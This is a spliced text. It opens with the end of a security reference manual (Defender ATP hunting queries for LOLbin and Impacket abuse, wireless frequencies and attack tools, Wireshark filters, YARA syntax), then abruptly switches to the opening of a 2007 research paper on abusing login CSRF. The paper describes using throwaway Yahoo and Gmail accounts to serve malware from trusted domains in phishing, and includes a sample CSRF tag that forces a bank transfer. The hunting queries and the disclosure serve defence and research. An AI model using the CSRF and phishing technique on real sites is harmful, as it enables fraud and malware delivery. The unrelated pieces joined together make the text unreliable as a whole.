makeset(AccountName), dcount(ComputerName) by
InitiatingProcessFileName, ProcessCommandLine
| sort by dcount_ComputerName desc
Output
Redirection
Activity
ProcessCreationEvents
| where EventTime > ago(10d)
| where ProcessCommandLine contains "2>&1"
| summarize makeset(ComputerName),
makeset(AccountName), dcount(ComputerName) by
422
InitiatingProcessFileName, ProcessCommandLine
| sort by dcount_ComputerName desc
Remote Share
Mounting
Activity
ProcessCreationEvents
| where EventTime > ago(7d)
| where ProcessCommandLine contains "net.exe"
| where ProcessCommandLine contains "\\c$" or
ProcessCommandLine contains "\\admin$" or
ProcessCommandLine contains "\\ipc$"
IMPACKET
Artifact Search
ProcessCreationEvents
| where EventTime > ago(10d)
| where ProcessCommandLine contains
"127.0.0.1\\ADMIN$\\" and ProcessCommandLine
contains "2>&1"
| project EventTime ,
InitiatingProcessFileName , ProcessCommandLine,
AccountName , ComputerName
| sort by InitiatingProcessFileName desc
| top 1000 by EventTime
Process Dump
Activity
ProcessCreationEvents
| where EventTime > ago(10d)
| where (ProcessCommandLine contains "-
accepteula" and ProcessCommandLine contains
"1>") or (ProcessCommandLine contains "-
accepteula" and ProcessCommandLine contains "-
ma")
| summarize makeset(ComputerName),
makeset(AccountName), dcount(ComputerName) by
InitiatingProcessFileName, ProcessCommandLine
| sort by dcount_ComputerName desc
Network
Activity thru
Cscript/Wscript
NetworkCommunicationEvents
| where EventTime > ago(7d)
| where InitiatingProcessFileName in
("cscript.exe", "wscript.exe")
| summarize
makeset(InitiatingProcessParentName),
makeset(RemoteUrl), makeset(RemotePort),
makeset(InitiatingProcessAccountName) ,dcount(
RemoteUrl) by InitiatingProcessCommandLine
| sort by dcount_RemoteUrl desc
Network
Activity thru
PowerShell
NetworkCommunicationEvents
| where EventTime > ago(1d)
| where InitiatingProcessFileName =~
"powershell.exe"
| summarize makeset(RemoteUrl),
makeset(RemotePort),
makeset(InitiatingProcessAccountName) ,dcount(
RemoteUrl) by InitiatingProcessCommandLine
| sort by dcount_RemoteUrl desc
BitsAdmin
Execution
ProcessCreationEvents
| where EventTime > ago(7d)
| where FileName contains "bitsadmin.exe"
423
| where ProcessCommandLine contains "/TRANSFER"
or ProcessCommandLine contains "/CREATE" or
ProcessCommandLine contains "/ADDFILE"
or ProcessCommandLine contains "/SETPROXY" or
ProcessCommandLine contains "/SETNOTIFYCMDLINE"
or ProcessCommandLine contains
"/SETCUSTOMHEADERS"
or ProcessCommandLine contains
"/SETSECURITYFLAGS" or ProcessCommandLine
contains "/SETREPLYFILENAME"
| project EventTime, ComputerName,
ProcessCommandLine, InitiatingProcessFileName,
AccountName
| top 1000 by EventTime
BitsAdmin
Transfer
ProcessCreationEvents
| where EventTime > ago(7d)
| where FileName =~ "bitsadmin.exe"
| where ProcessCommandLine contains "/transfer"
| project EventTime, ComputerName,
ProcessCommandLine, InitiatingProcessFileName,
AccountName
| top 1000 by EventTime
LOLbin CertUtil
Decode
ProcessCreationEvents
| where EventTime > ago(7d)
| where FileName =~ "certutil.exe"
| where ProcessCommandLine contains "-decode"
and ProcessCommandLine contains "\\AppData\\"
| project EventTime, ComputerName,
ProcessCommandLine, InitiatingProcessFileName,
AccountName
| top 1000 by EventTime
MSOffice Abuse
Indicators
ProcessCreationEvents
| where EventTime > ago(1d)
| where InitiatingProcessParentName contains
"winword.exe" or InitiatingProcessParentName
contains "excel.exe" or
InitiatingProcessParentName contains
"powerpnt.exe"
| where FileName contains "cscript" or FileName
contains "wscript" or FileName contains
"powershell"
| project EventTime, ComputerName,
ProcessCommandLine, InitiatingProcessFileName,
InitiatingProcessParentName, AccountName
| top 1000 by EventTime
LOLbin RunDll32
Activity
ProcessCreationEvents
| where EventTime > ago(7d)
| where FileName =~ "rundll32.exe"
| where ProcessCommandLine contains
",Control_RunDLL"
| summarize makeset(ComputerName),
424
makeset(AccountName), dcount(ComputerName) by
InitiatingProcessFileName, ProcessCommandLine
| sort by dcount_ComputerName desc
LOLbin RunDll32
Register Server
ProcessCreationEvents
| where EventTime > ago(7d)
| where FileName =~ "rundll32.exe"
| where ProcessCommandLine contains
"DllRegisterServer"
| summarize makeset(ComputerName),
makeset(AccountName) by
InitiatingProcessFileName, ProcessCommandLine
| sort by InitiatingProcessFileName asc
LOLbin RunDll32
Suspicious
Execution
ProcessCreationEvents
| where EventTime > ago(7d)
| where FileName =~ "rundll32.exe"
| where InitiatingProcessFileName in
("winword.exe" , "excel.exe" , "cscript.exe" ,
"wscript.exe" , "mshta.exe" )
| summarize makeset(ComputerName),
makeset(AccountName) by
InitiatingProcessFileName, ProcessCommandLine
| sort by InitiatingProcessFileName asc
LOLbin RunDll32
HTA Remote
ProcessCreationEvents
| where EventTime > ago(1d)
| where FileName =~ "rundll32.exe"
| where ProcessCommandLine contains
"mshtml,RunHTMLApplication"
| project EventTime, ComputerName,
ProcessCommandLine, InitiatingProcessFileName,
AccountName
| top 1000 by EventTime
LOLbin RunDll32
Roaming Profile
ProcessCreationEvents
| where EventTime > ago(7d)
| where FileName =~ "rundll32.exe"
| where ProcessCommandLine contains
"\\roaming\\"
| where ProcessCommandLine !contains "\\STREAM
Interactive (Emirates).appref-ms|"
| summarize makeset(ComputerName),
makeset(AccountName) by
InitiatingProcessFileName, ProcessCommandLine
| sort by InitiatingProcessFileName asc
at.exe Process
Execution
ProcessCreationEvents
| where EventTime > ago(7d)
| where FileName =~ "at.exe"
| project EventTime, ComputerName,
ProcessCommandLine, InitiatingProcessFileName,
AccountName
| top 1000 by EventTime
WMIC Process
call
ProcessCreationEvents
| where EventTime > ago(7d)
425
| where FileName =~ "WMIC.exe"
| where ProcessCommandLine contains "process
call create"
| project EventTime, ComputerName,
ProcessCommandLine, InitiatingProcessFileName,
AccountName
| top 1000 by EventTime
Process wscript
to .js
ProcessCreationEvents
| where EventTime > ago(7d)
| where FileName =~ "wscript.exe"
| where ProcessCommandLine contains ".js"
| summarize makeset(ComputerName),
makeset(AccountName) by
InitiatingProcessFileName, ProcessCommandLine
| sort by InitiatingProcessFileName asc
Process wscript
creating .zip/.
rar
ProcessCreationEvents
| where EventTime > ago(7d)
| where FileName =~ "wscript.exe"
| where ProcessCommandLine contains
"\\appdata\\" and ProcessCommandLine contains
".zip" or ProcessCommandLine contains
"\\Rar$*\\"
| project EventTime, ComputerName,
ProcessCommandLine, InitiatingProcessFileName,
AccountName
| top 1000 by EventTime
Uncoder: One common language for cyber security
https://uncoder.io/
Uncoder.IO is the online translator for SIEM saved searches,
filters, queries, API requests, correlation and Sigma rules to help
SOC Analysts, Threat Hunters and SIEM Engineers. Easy, fast and
private UI you can translate the queries from one tool to another
without a need to access to SIEM environment and in a matter of
just few seconds.
Uncoder.IO supports rules based on Sigma, ArcSight, Azure Sentinel,
Elasticsearch, Graylog, Kibana, LogPoint, QRadar, Qualys, RSA
NetWitness, Regex Grep, Splunk, Sumo Logic, Windows Defender ATP,
Windows PowerShell, X-Pack Watcher.
REFERENCE:
https://github.com/beahunt3r/Windows-
Hunting/tree/master/WindowsDefenderATP%20Hunting%20Queries%20
https://docs.microsoft.com/en-us/windows/security/threat-protection/
W
W
WIRELESS FREQUENCIES
ALL
INFORMATIONAL
N/A
426
STANDARD
FREQUENCIES
802.11
2.4, 3.6, 4.9, 5.0, 5.2, 5.6, 5.8,
5.9 and 60 GHz
802.11a
5.0 GHz
802.11b/g
2.4 GHz
802.11n
2.4, 5.0 GHz
Bluetooth/BLE
2.4-2.483.5 GHz
CDMA2000 (inc. EV-DO, 1xRTT)
450, 850, 900 MHz 1.7, 1.8, 1.9,
and 2.1 GHz
EDGE/GPRS
850 MHz, 900 MHz, 1.8 GHz, and
1.9 GHz
EnOcean
868.3 MHz
Flash-OFDM
450 and 870 MHz
iBurst
1.8, 1.9, and 2.1 GHz
ISM Band
4.33GHz, 915MHz, 2.4GHz, 5GHz
Keyless FOB
315 MHz (US) 433.92 MHz (EU,Asia)
Low Rate WPAN (802.15.4)
868 MHz (EU), 915 MHz (US),
2.4 GHz
RFID
120-150 kHz (LF) 13.56 MHz (HF)
UMTS FDD
850 MHz, 900 MHz, 2.0, 1.9/2.1,
2.1, and 1.7/2.1 GHz
UMTS-TDD
450, 850 MHz, 1.9, 2, 2.5, and
3.5 GHz
Vemesh
868 MHz, 915 MHz, and 953 MHz
WiMax (802.16e)
2.3, 2.5, 3.5, 3.7, and 5.8 GHz
Wireless USB, UWB
3.1 to 10.6 GHz
AT&T 4G [2, 4, 5, 12, 14,
17, 29, 30, 66]
1900MHz, 1700MHz abcde, 700MHz bc
Verizon Wireless 4G [2, 4,
5, 13, 66]
1900MHz, 1700MHZ f, 700MHz c
T-Mobile 4G [2, 4, 5, 12,
66, 71]
1900MHz, 1700MHz def, 700MHz a,
600MHz
Sprint 4G [25, 26, 41]
1900MHz g, 850MHz, 2500MHz
Europe 4G [3, 7, 20]
1800MHz, 2600MHz, 800MHz
China,India 4G [40, 41]
2300MHz, 2500MHz
Longwave AM Radio
148.5 kHz – 283.5 kHz
Mediumwave AM Radio
525 kHz – 1710 kHz
Shortwave AM Radio
3 MHz – 30 MHz
HF
0.003 - 0.03 GHz
VHF
0.03 - 0.3 GHz
UHF
0.3 - 1 GHz
L
1 - 2 GHz
S
2 - 4 GHz
C
4 - 8 GHz
X
8 - 12 GHz
Ku
12 - 18 GHz
K
18 - 27 GHz
Ka
27 - 40 GHz
V
40 - 75 GHz
427
W
75 - 110 GHz
mm or G
110 - 300 GHz
REFERENCE
https://en.wikipedia.org/wiki/Comparison_of_wireless_data_standards
https://en.wikipedia.org/wiki/List_of_interface_bit_rates
WIRELESS_Tools
BETTERCAP
https://www.bettercap.org/intro/
bettercap is a powerful, easily extensible and portable framework
written in Go which aims to offer to security researchers, red
teamers and reverse engineers an easy to use, all-in-one solution
with all the features they might possibly need for performing
reconnaissance and attacking WiFi networks, Bluetooth Low Energy
devices, wireless HID devices and Ethernet networks.
KISMET
https://www.kismetwireless.net/
Kismet is a wireless network and device detector, sniffer,
wardriving tool, and WIDS (wireless intrusion detection) framework.
Kismet works with Wi-Fi interfaces, Bluetooth interfaces, some SDR
(software defined radio) hardware like the RTLSDR, and other
specialized capture hardware.
PWNAGOTCHI
https://pwnagotchi.ai/
Pwnagotchi is an A2C-based “AI” powered by bettercap and running on
a Raspberry Pi Zero W that learns from its surrounding WiFi
environment in order to maximize the crackable WPA key material it
captures (either through passive sniffing or by performing
deauthentication and association attacks). This material is
collected on disk as PCAP files containing any form of handshake
supported by hashcat, including full and half WPA handshakes as
well as PMKIDs.
AIRCRACK-NG
https://www.aircrack-ng.org/
Aircrack-ng is a complete suite of tools to assess WiFi network
security. It focuses on different areas of WiFi security:
Monitoring: Packet capture and export of data to text files for
further processing by third party tools
Attacking: Replay attacks, deauthentication, fake access points and
others via packet injection
Testing: Checking WiFi cards and driver capabilities (capture and
injection)
Cracking: WEP and WPA PSK (WPA 1 and 2)
WIFI-ARSENAL - GitHub Everything Wireless
428
https://github.com/0x90/wifi-arsenal
NEW TO SDR (Software Defined Radio)
https://luaradio.io/new-to-sdr.html
W
W
WIRESHARK
RED/BLUE TEAM
NETWORK TRAFFIC
WINDOWS/LINUX/MacOS
Wireshark is an open-source network protocol analysis software
program.
FILTER
DESCRIPTION
!(arp or icmp or stp)
Filters out arp, icmp, stp
protocols to reduce background
noise
dst host ff02::1
Captures all IPv6 traffic within
the local network that is
multicast
eth.addr
Filter MAC Address
eth.dst.eth.src
Filter MAC Address
eth[0x47:2] == 01:80
offset filter for HEX values of
0x01 and 0x80 at the offset
location of 0x47
ether host ##:##:##:##:##:##
Captures only traffic to or from
the MAC address
used. Capitalizing hexadecimal
letters does not matter.
Example: ether host
01:0c:5e:00:53:00
frame contains traffic
displays all packets that
contain the word ‘traffic’.
host #.#.#.#
Capture only traffic to or from
a specific IP address. Example:
host 192.168.1.1
host www.example.com and not
(port xx or port yy)
Capture all traffic, exclude
specific packets.
http.authbasic
Filter to HTTP Basic
Authentication
http.cookie
Filter to HTTP Cookies
http.data
Filter to HTTP data packets
http.referer
Filter to HTTP Referer headers
http.request
Sets a filter for all HTTP GET
and POST requests.
http.server
Filter to HTTP Server
http.user_agent
Filter to HTTP User Agent
strings
http.www_authentication
Filter to HTTP authentication
429
ip
Captures only IPv4 traffic
ip proto 41
Capture only IPv6 over IPv4
Tunnelled Traffic.
ip.addr == 10.0.0.0/24
Shows packets to and from any
address in the 10.0.0.0/24 space
ip.addr == 10.0.0.1
Sets a filter for any packet
with 10.0.0.1, as either the src
or dest
ip.addr==10.0.0.1 &&
ip.addr==10.0.0.2
sets a conversation filter
between the two defined IP
addresses
ip.dst
Filter IP to destination
ip.src
Filter IP to source
ip6
Capures only IPv6 traffic
ip6 and not ip proto 41
Capture IPv6 Native Traffic
Only. This will exclude
tunnelled IPv6.
net #.#.#.#/24
Capture traffic to or from
(sources or destinations) a
range of IP addresses
not broadcast and not
multicast
Capture only Unicast traffic.
port ##
Captures only a particular src
or dst port
port sip
Captures all SIP traffic (VoIP)
pppoes
Capture PPPOE traffic
tcp
Captures only TCP traffic
tcp contains xxx
searches TCP packets for that
string
tcp portrange 1800-1880
Capture traffic within a range
of ports
tcp.analysis.flags
&& !tcp.analysis.window_update
displays all retransmissions,
duplicate acks, zero windows,
and more in the trace
tcp.dstport
Filter Port to TCP destination
tcp.flags == 0x012
displays all TCP SYN/ACK packets
& shows the connections that had
a positive response. Related to
this is tcp.flags.syn==1
tcp.port==4000
sets a filter for any TCP packet
with 4000 as src or dest
tcp.srcport
Filter port to TCP source
tcp.time_delta > .250
sets a filter to display all tcp
packets that have a delta time
of greater than 250ms
udp.dstport
Filter Port to UDP destination
udp.srcport
Filter Port to UDP source
vlan
Captures only VLAN traffic.
wlan.fc.type eq 0
Filter to 802.11 Management
Frame
430
wlan.fc.type eq 1
Filter to 802.11 Control Frame
wlan.fc.type_subtype eq 0
(1=response)
Filter to 802.11 Association
Requests
wlan.fc.type_subtype eq 11
(12=authenticate)
Filter to 802.11 Authentication
Requests
wlan.fc.type_subtype eq 2
(3=response)
Filter to 802.11 Reassociation
Requests
wlan.fc.type_subtype eq 4
(5=response)
Filter to 802.11 Probe Requests
wlan.fc.type_subtype eq 8
Filter to 802.11 Beacons
REFERENCE:
https://www.wireshark.org/
https://hackertarget.com/wireshark-tutorial-and-cheat-sheet/
https://www.willhackforsushi.com/papers/80211_Pocket_Reference_Guide.pdf
https://www.cellstream.com/reference-reading/tipsandtricks/379-top-10-
wireshark-filters-2
Y
Y
Y
YARA
ALL
DISCOVERY
N/A
YARA is an open source tool aimed at helping researchers to
identify and classify malware samples. YARA you can create
descriptions of malware families based on textual or binary
patterns. Descriptions consist of a set of strings and a Boolean
expression which determine its logic.
META
431
Metadata section input additional information about your rule with
user created assigned values.
STRINGS
Three types of strings in YARA:
1- hexadecimal
-wild-cards
Ex. { E2 34 ?? C8 A? FB }
-jumps
Ex. { F4 23 [4-6] 62 B4 }
-alternatives
Ex. { F4 23 ( 62 B4 | 56 ) 45 }
2- text
-case-sensitive
Ex. "text"
-case-insensitive
Ex. "text" nocase
-wide-character
Ex. "text" wide
-full words
Ex. "text" fullword
3- regular expressions
\
Quote the next metacharacter
^
Match the beginning of the file
$
Match the end of the file
|
Alternation
()
Grouping
[]
Bracketed character class
Quantifiers:
*
Match 0 or more times
+
Match 1 or more times
?
Match 0 or 1 times
{n}
Match exactly n times
{n,}
Match at least n times
{,m}
Match 0 to m times
{n,m}
Match n to m times
*?
Match 0 or more times, non-greedy
+?
Match 1 or more times, non-greedy
??
Match 0 or 1 times, non-greedy
{n}?
Match exactly n times, non-greedy
{n,}?
Match at least n times, non-greedy
{,m}?
Match 0 to m times, non-greedy
{n,m}?
Match n to m times, non-greedy
Escape seq:
\t
Tab (HT, TAB)
\n
New line (LF, NL)
\r
Return (CR)
\n
New line (LF, NL)
\f
Form feed (FF)
\a
Alarm bell
\xNN
Character whose ordinal number is the given
hexadecimal number
Char classes:
\w
Match a word character (aphanumeric plus “_”)
\W
Match a non-word character
432
\s
Match a whitespace character
\S
Match a non-whitespace character
\d
Match a decimal digit character
\D
Match a non-digit character
Zero-with
assertions:
\b
Match a word boundary
\B
Match except at a word boundary
CONDITION
Conditions are Boolean expressions to be met.
+ boolean (and, or, not)
+ relational operators (>=, <=, <, >, ==, !=)
+ arithmetic operators (+, -, *, \, %)
+ bitwise operators (&, |, <<, >>, ~, ^)
Example YARA Rule:
rule ExampleRule
{
meta:
author = "netmux"
description = "Detects Emotet binary"
license = "Free as in beer"
strings:
$ex_text_string = "text string" nocase
$ex_hex_string = { E2 34 A1 C8 23 FB }
condition:
$ex_text_string or $ex_hex_string
}
YARA SIGNATURE CREATION MINDMAP:
@cyb3rops **https://twitter.com/cyb3rops/status/1210992711903383554?s=11
433
Uncoder: One common language for cyber security
https://uncoder.io/
Uncoder.IO is the online translator for SIEM saved searches,
filters, queries, API requests, correlation and Sigma rules to help
SOC Analysts, Threat Hunters and SIEM Engineers. Easy, fast and
private UI you can translate the queries from one tool to another
without a need to access to SIEM environment and in a matter of
just few seconds.
Uncoder.IO supports rules based on Sigma, ArcSight, Azure Sentinel,
Elasticsearch, Graylog, Kibana, LogPoint, QRadar, Qualys, RSA
NetWitness, Regex Grep, Splunk, Sumo Logic, Windows Defender ATP,
Windows PowerShell, X-Pack Watcher.
REFERENCE:
https://yara.readthedocs.io/en/v3.4.0/writingrules.html
https://github.com/InQuest/awesome-yara
434
NOTES
435
NOTES
436
NOTES | pdf |
Biting the Hand That Feeds You
2007
Biting the Hand That Feeds You
1
Biting the Hand That Feeds You
Storing and Serving Malicious Content from Well Known Web Servers
Billy K Rios – Senior Researcher
Nathan Mcfeters – Senior Researcher
Kicking Down the Cross Domain Door
ii
Intended Audience
This paper assumes the reader has a solid understanding of web application security
principles, Cross Site Request Forgery, and web browser security mechanisms.
Contributing Authors
Version 1.0
Billy Kim Rios – Senior Researcher – VeriSign Inc, Seattle
Nathan Mcfeters – Senior Researcher – Advanced Security Center, Houston
Kicking Down the Cross Domain Door
iii
Table of Contents
INTENDED AUDIENCE............................................................................................................................ II
CONTRIBUTING AUTHORS................................................................................................................... II
CHAPTER 1 – WHO DO YOU TRUST? .................................................................................................. 4
1. OVERVIEW .............................................................................................................................................. 4
2. BROWSER/APPLICATION SECURITY MEASURES...................................................................................... 4
3. A NEW TWIST ON CROSS SITE REQUEST FORGERY................................................................................. 5
CHAPTER 2 – BITING THE HAND - YAHOO....................................................................................... 7
1. CREATING AN ACCOUNT......................................................................................................................... 7
2. UPLOADING CONTENT ............................................................................................................................ 7
3. BYPASSING MISCELLANEOUS PROTECTION MEASURES.......................................................................... 8
4. SENDING MALICIOUS CONTENT TO THE VICTIM ................................................................................... 10
CHAPTER 3 – BITING THE HAND – GMAIL ..................................................................................... 13
1. CREATING AN ACCOUNT....................................................................................................................... 13
2. UPLOADING CONTENT .......................................................................................................................... 13
3. BYPASSING MISCELLANEOUS PROTECTION MEASURES........................................................................ 15
4. SENDING MALICIOUS CONTENT TO THE VICTIM ................................................................................... 15
CHAPTER 4 – FLASH BASED ATTACK .............................................................................................. 17
1. OVERVIEW ............................................................................................................................................ 17
2. FORCING OWNERSHIP OF THE CROSSDOMAIN.XML FILE....................................................................... 17
CHAPTER 5 – CONCLUSION................................................................................................................. 19
REFERENCES ........................................................................................................................................... 20
APPENDIX A – BITING YAHOO HTML – FIREFOX ........................................................................ 21
APPENDIX B – BITING GMAIL HTML – FIREFOX.......................................................................... 23
Biting the Hand That Feeds You
2007
Biting the Hand That Feeds You
4
Chapter 1 – Who do you Trust?
1. Overview
Trust on the World Wide Web (WWW) is difficult at best. On one hand, the value of the
WWW stems from the fact that resources and content can be hosted by anyone and
received by anyone. This “feature” also makes the WWW a dangerous place,
considering malicious content can be hosted by anyone and served to anyone. With this
in mind, we must establish some criteria to determine who we should trust… and who we
shouldn’t trust.
Although several different methods exist, most users of the WWW base their trust
decisions on a single item… a domain name. For example, users may be hesitant to
download an update for XYZ software from www.hacker.com, but they may be more
receptive to downloading and executing the same content if it comes from www.xyz.com.
Shady individuals and groups have taken advantage of this trust in domain names by
using variations on domain names to facilitate phishing and other types of attacks. These
shady individuals understand the power of a trustworthy name and use various “tricks” to
fool users into believing that the attacker controlled content, is actually coming from a
trusted place. In order to combat these types of attacks, developers have implemented
browser and application security measures to help users determine whether they should
trust the content they are receiving from the WWW. A small number of these protections
are described in the next section.
2. Browser/Application Security Measures
Many of the protections offered by the various browsers and applications are based
primarily on the domain name serving the content. A brief description of various domain
name level protections is discussed below.
SSL Certificates – SSL certificates can have domain names specified. If the domain
serving the content doesn’t match the domain name contained on the SSL certificate a
“Domain Name Mismatch” error is thrown.
Same Origin Policy – The philosophy of the same origin policy is simple: it is not safe to
trust content loaded from any websites. As semi-trusted scripts are run within the
sandbox, they should only be allowed to access resources from the same website, but not
resources from other websites, which could be malicious. The term "origin" is defined
using the domain name, protocol and port. Two pages belong to the same origin if and
only if these three values are the same. -Wikipedia
Phishing filters – Since phishing is based on impersonation, preventing it depends on
Biting the Hand That Feeds You
2007
Biting the Hand That Feeds You
5
users having some reliable way to identify the sites they are dealing with. For example,
some anti-phishing toolbars display the real domain name for the visited website. -
Wikipedia
Most of these protections help the user determine whether the domain name they are
receiving content from is really the domain name they believe it to be. For example, it
may be difficult for a human user to distinguish the difference between www.trust3d.com
and www.trusted.com, but the SSL certificates checks, same origin policy, and phishing
filters are not so easily fooled…. but what happens when attacker controlled content
actually comes from a domain name we typically trust?
3. A New Twist on Cross Site Request Forgery
Typically, Cross Site Request Forgery (CSRF) takes advantage of a pre-existing session
to execute some functionality on behalf of an unsuspecting user. An example of how
attackers typically take advantage of CSRF vulnerabilities is presented below in a simple
example.
The attacker (Billy) decides to transfer $1 to his friends (Raghav) checking
account using www.BigCreditUnion.com. Billy logs all of the HTTP requests
and responses made from his computer and notices that when he requests a
transfer of $1 from his account to Raghav’s account the following HTTP GET
request is made:
GET /transfer.do?toacct=RAGHAV&amount=1 HTTP/1.1
… … … …
Cookie: MYCOOKIE=AWSWADJ1LE3UQHJ3AJUAJ5Q5U
Host: www.BigCreditUnion.com
The web application does a great job of tying the users’ session to the appropriate
account and subtracts the $1 from Billy’s account and adds $1 to Raghav’s
account. Being an enterprising hacker, Billy understands that this scenario is ripe
for XSRF and embeds the following HTML tag into his website:
<img src=
"http://BigCreditUnion.com /transfer.do?toacct=BILLY&amount=10000"
width="1" height="1" border="0">
Now, whenever a victim with an established session with BigCreditUnion.com
visits Billy’s website, $10000 will be transferred out of the victims’ account and
placed into Billy’s account.
Various web applications are taking measures to protect themselves (albeit slowly) to
Biting the Hand That Feeds You
2007
Biting the Hand That Feeds You
6
various Cross Site Request Forgery (CSRF) vulnerabilities. One piece of functionality
that seems to be consistently overlooked when it comes to CSRF, is the login
functionality. As previously demonstrated in “Kicking Down the Cross Domain Door”
(and other documents) it is possible to use CSRF to attack unprotected login
functionality, forcing the user to establish an active session with a web server. In the
example presented in Kicking down the Cross Domain Door, the attacker brute forces the
login credentials to a HTTP network management console located on a corporation’s
internal network. The attack demonstrated in Kicking Down the Cross Domain Door
cycled through a number of username and password combinations, until a legitimate
username and password combination was verified through an authenticated only Cross
Site Scripting exposure.
In the examples presented below, we will use the same techniques, with a twist. We
focus out attention on web mail servers available via the WWW. The foundation of these
attacks is based on the fact that we can replay the exact POST parameters needed to
establish an authenticated session. Since a valid set of credentials can be easily obtained,
we simply use CSRF to force our victim’s browser to establish an authenticated session
with the affected web mail server. Since most web servers allow for authenticated users
to attach and download files, we will abuse this functionality to serve malicious files and
content. Normally, serving a file from a web server isn’t an issue, in this case however;
the danger arises when the web mail servers serve the content from their domain name,
essentially taking ownership of the contents of the file.
Although the examples presented below target two popular web servers, these concepts
can be applied to any web application that allows for the storage and retrieval of content
and files. The examples presented below do have various issues, making them somewhat
limited in their capabilities. The most obvious issue with these attacks involves that
passing of credentials for the account used to force the authenticated session. This is
somewhat mitigated by the fact that most of these services allow for the mostly
anonymous registration of accounts and can be used as one-time, “throw away” account.
Biting the Hand That Feeds You
2007
Biting the Hand That Feeds You
7
Chapter 2 – Biting the Hand - Yahoo
1. Creating an Account
Creating an account on Yahoo is fairly straight forward; you fill out the required
information, choose a strong password, and off you go! Like other web mail providers,
the account creation process is easily fooled and “throw away” accounts are easily
created.
2. Uploading Content
Once the throw away account is created, we can log into Yahoo mail using the newly
created account. We capture the exact POST request made when we login to the server.
Once we are logged in, we can upload file to our email account. The file upload process
is straightforward and the screenshot below shows that PwDump.exe has been uploaded
to the email server.
Biting the Hand That Feeds You
2007
Biting the Hand That Feeds You
8
Once the file has been uploaded, we send the message to ourselves (to the throw away
account we created). Once we have received the email with the attachment, we can view
the email message containing the file. The email message has a button that is used to
download the file from the web server. When the button is depressed, a HTTP GET
request is made to the web server. The web server validates the session and serves the
appropriate file. The exact HTTP GET request sent when the download attachment
button is pressed should be noted for future use. The screenshot below shows the button
used to download the attachment.
3. Bypassing Miscellaneous Protection Measures
The creators of Yahoo mail probably understood some of the dangers associated with
serving attacker controlled content from their domains. When uploaded files are served
from the email service, they are served from the “attach.re3.mail.yahoo.com” domain.
This domain is different than the one where mail is served from (in this example,
us.f574.mail.yahoo.com). The screenshot below shows how content is normally served
by the Yahoo mail server.
Biting the Hand That Feeds You
2007
Biting the Hand That Feeds You
9
From an attacker standpoint, it may be beneficial to serve content from the same domain
that the user’s mail is served from. The screenshot below shows the HTTP GET request
made when the attachment is requested. If we simply remove the initial portions of the
request (highlighted in blue in the screenshot below) we can force the content to be
served from a different domain (us.f574.mail.yahoo.com).
The screenshot below shows the content being served from the Yahoo mail server, but
instead of being served from the typical “attach.re3.mail.yahoo.com” domain, we see that
the file is being served from “us.f574.mail.yahoo.com”
Biting the Hand That Feeds You
2007
Biting the Hand That Feeds You
10
If the attacker desires, an additional sub domain can be removed, further shortening the
domain to “f574.mail.yahoo.com”, which is shown in the screenshot below. This can
come in handy in more advanced attacks.
4. Sending Malicious Content to the Victim
Now that the exact POST request needed to authenticate to our “throw away” Yahoo
account and the exact GET request needed to pull our file from the Yahoo server are
known, we can go about setting up our attack. The following example shows a simple
way a phishing attack would be executed.
Biting the Hand That Feeds You
2007
Biting the Hand That Feeds You
11
A phishing site indicating that a new update for some software is available. When the
user clicks the link to download, the malicious page first submits the credentials to
authenticate to the throw away Yahoo account. Once the authentication process is
completed, the malicious page makes a request for the file stored on the Yahoo server
using the HTTP GET request obtained earlier. The screenshot below shows the page as
the victim might see it.
As soon as the user visits the page, the attacker controlled content is servered from the
yahoo domain.
Biting the Hand That Feeds You
2007
Biting the Hand That Feeds You
12
A simplified HTML version of this page is provided in the Appendix.
Biting the Hand That Feeds You
2007
Biting the Hand That Feeds You
13
Chapter 3 – Biting the Hand – Gmail
1. Creating an Account
Once again, creating an account on the web mail server is fairly straight forward. Once
the proper pieces of information are filled out, the server creates the account. Once
again, the account creation process is easily fooled and one-time, “throw away” accounts
are easily created.
2. Uploading Content
Once we’ve created our account, we use the account to log into Gmail. We make note of
the exact POST request used to authenticate to the server. Once we’re logged in, its time
to upload the content. Uploading content is straightforward using the “Attach file”
functionality. Once the attach file functionality is selected, we simple select the file for
upload using the intuitive user menus. In this example, we choose to upload cmd.exe
from our local file system. The screenshot below shows cmd.exe on our local file
system.
Biting the Hand That Feeds You
2007
Biting the Hand That Feeds You
14
Once we’ve chosen our desired file, we see the file listed as an attachment for our email
message. At this point, the local file path and filename is listed in BOLD, just below the
subject line.
After a few seconds (depending on the size of the file and your bandwidth), the file will
be completely uploaded to the Gmail server. Gmail will provide an indication that the
file is uploaded by changing the BOLD file path and filename to a filename followed by a
italic content-type. At this point, the file has been uploaded to Gmail’s web server!
Biting the Hand That Feeds You
2007
Biting the Hand That Feeds You
15
3. Bypassing Miscellaneous Protection Measures
Gmail’s creators understood the dangers of allowing users to send executable content
through their mail service. When a user attempts to mail an executable attachment, they
are prompted with the message shown below:
Gmail doesn’t permit you to send the executable through their mail service, BUT at this
point, they have already allowed you to upload the content to their server. Your
executable now resides on mail.google.com! At this point, we right click the attachment
hyperlink and note the exact HTTP GET request for our executable attachment.
4. Sending Malicious Content to the Victim
Now that we know the exact POST request needed to authenticate to our “throw away”
Biting the Hand That Feeds You
2007
Biting the Hand That Feeds You
16
Gmail account and we also now the exact GET request needed to pull our file from the
Gmail server, we can go about setting up our attack. The following example shows a
simple way a phishing attack would be executed.
If a user clicks the link, they will be presented with the following file download security
warning. A close look at the “From” field indicates that the file is being served from
mail.google.com.
A simplified HTML example of this attack is given in the Appendix.
Biting the Hand That Feeds You
2007
Biting the Hand That Feeds You
17
Chapter 4 – Flash Based Attack
1. Overview
A prime example of another way we can abuse domain name based security protections
can be found via Cross Domain Policy files used by Adobe / Macromedia Flash. An
excerpt from “Macromedia Flash Player 8 Security” (Page 37) by Adrian Ludwig of
Macromedia describes some of the features of the Cross Domain Policy files used by the
Flash Player.
System.security.loadPolicyFile()
The policy file allows administrators with write access to a portion of a website to grant an application read
access to that portion (see “Policy file usage” on page 29). By default, this file is located in the root directory
of the target server.
Use of the default location technique is typically best, as it opens the policy file for the entire server; it is
compatible with all versions of Flash Player 7 and higher, and it does not require applications to declare
anything about policy files. However, if there are reasons why the policy file cannot be placed in a root
location on the server, or the policy file needs to be served from an XMLSocket server, the alternative would
be to use the loadPolicyFile() method. This API was introduced in Flash Player 7 (7.0.19.0) to allow
the website to specify a nondefault location for the policy file. This mechanism is used by the Flash
application to indicate to Flash Player where to look for a policy file that (if it exists and if it indicates
permission) would allow that application to read data from that part of that site. An author must call this API
prior to any operation that may require the policy file.
We see that Flash player assumes that if a Cross Domain policy file (crossdomain.xml)
exists on the target server, then cross domain requests via the Flash player will be
